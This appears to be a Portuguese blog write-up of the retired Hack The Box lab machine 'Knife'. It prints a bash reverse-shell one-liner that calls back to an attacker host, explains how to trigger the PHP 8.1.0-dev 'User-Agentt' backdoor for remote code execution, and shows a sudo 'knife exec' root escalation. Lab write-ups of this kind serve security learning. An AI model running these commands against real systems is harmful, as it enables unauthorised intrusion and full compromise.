Olá!
A máquina desta semana será Knife, outra máquina Linux classificada como fácil do Hack The Box, criada por MrKN16H.
Info
Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.
Esta máquina foi bem simples, onde você deve prestar atenção aos detalhes (no caso do webserver vulnerável) e sempre ir pelo caminho mais simples como abusar das permissões de sudo que o usuário já possui.
Espero que gostem!
Enumeração
Como de costume, iniciei com um scan rápido do nmap para verificar os serviços publicados nesta máquina:
$ nmap -sC -sV -Pn -oA quick 10.10.10.242Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 17:50 -03Nmap scan report for 10.10.10.242Host is up (0.072s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Emergent Medical IdeaService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds80/TCP - Serviço HTTP
Acessando o website podemos ver uma simples página institucional de uma companhia do setor de saúde, conforme abaixo:

Após acessar a página, obtido algumas informações adicionais, os componentes utilizados e qual o webserver em execução com ajuda do whatweb e o que chamou a atenção foi o cabeçalho X-Powered-By que aponta para uma versão de desenvolvimento do PHP 8.1.0.
$ whatweb --color=never -a 3 10.10.10.242 | tee whatweb.txthttp://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], , Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]Acesso inicial e User flag
Como versões de desenvolvimento frequentemente contém vulnerabilidades, decidi buscar a respeito da mesma com searchsploit e encontrei uma vulnerabilidade de execução remota de código (RCE - Remote Code Execution) conforme listado abaixo:
$ searchsploit "8.1.0-dev"---------------------------------------------------------------------- ---------------------------- Exploit Title | Path---------------------------------------------------------------------- ----------------------------PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py---------------------------------------------------------------------- ----------------------------Shellcodes: No ResultsEsta vulnerabilidade consiste em um backdoor adicionado em alguns commits por contas comprometidas no código fonte do PHP onde, sempre que um request contém o cabeçalho User-Agentt: "zerodiumsystem('cmd');" é enviado, seu conteúdo é interpretado e executado, neste caso o conteúdo cmd. O exploit disponível simula um shell de modo não interativo e, a partir dele, iniciei um shell reverso interativo com o payload bash -c 'bash -i >& /dev/tcp/10.10.10.10/4443 0>&1' que nos retornou uma sessão a partir da conta do usuário james, onde encontramos o arquivo user.txt e foi possível ler seu conteúdo, obtendo a primeira flag.
james@knife:~$ id && hostnameuid=1000(james) gid=1000(james) groups=1000(james)knifejames@knife:~$ cat user.txt<redacted>Root flag
Como de costume, iniciei com o comando sudo -l e tive sorte mais uma vez, vendo o seguinte output:
james@knife:~$ sudo -lMatching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knifeRealizando uma busca rápida a respeito do binário, encontrei que se trata de parte da solução de gestão de configuração Chef e, de acordo com a página knife | GTFOBins, poderia ser utilizada facilmente para escalar privilégio como root, conforme abaixo, nos permitindo obter a última flag :smiley:
james@knife:~$ sudo /usr/bin/knife --help Chef Infra Client: 16.10.8
Docs: https://docs.chef.io/workstation/knife/Patents: https://www.chef.io/patents
[...]
james@knife:~$ sudo /usr/bin/knife exec -E 'exec "/bin/sh"'# cat root.txt<redacted>Espero que tenham gostado!
Vejo vocês no próximo post :smile: